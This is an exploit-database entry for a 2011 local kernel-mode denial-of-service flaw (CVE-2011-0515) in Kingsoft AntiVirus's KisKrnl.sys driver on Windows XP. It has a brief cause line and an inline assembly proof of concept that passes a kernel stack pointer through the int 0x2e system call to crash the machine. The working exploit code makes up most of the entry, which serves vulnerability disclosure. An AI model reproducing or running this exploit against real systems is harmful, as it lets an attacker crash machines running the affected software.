Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode DoS Exploit



EDB-ID: 15998 CVE: 2011-0515 OSVDB-ID: 70493
Author: MJ0011 Published: 2011-01-16 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

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# Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit
# Date: 2011-1-16
# Author: MJ0011
# Software Link: http://cd001.www.duba.net/duba/install/2011/once/KAV110114_DOWN_9_13.exe
# Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys <=2011.1.13.89
# Tested on: Windows XP SP3

DETAILS:
KisKrnl.sys hook the kernel function KiFastCallEntry , but is not correctly handle user stack pointer

EXPLOIT CODE:

__asm
{
mov edx , 0x80000000
mov eax , 0x101        ;id of NtTerminateProcess under Windows XP 
int 0x2e
}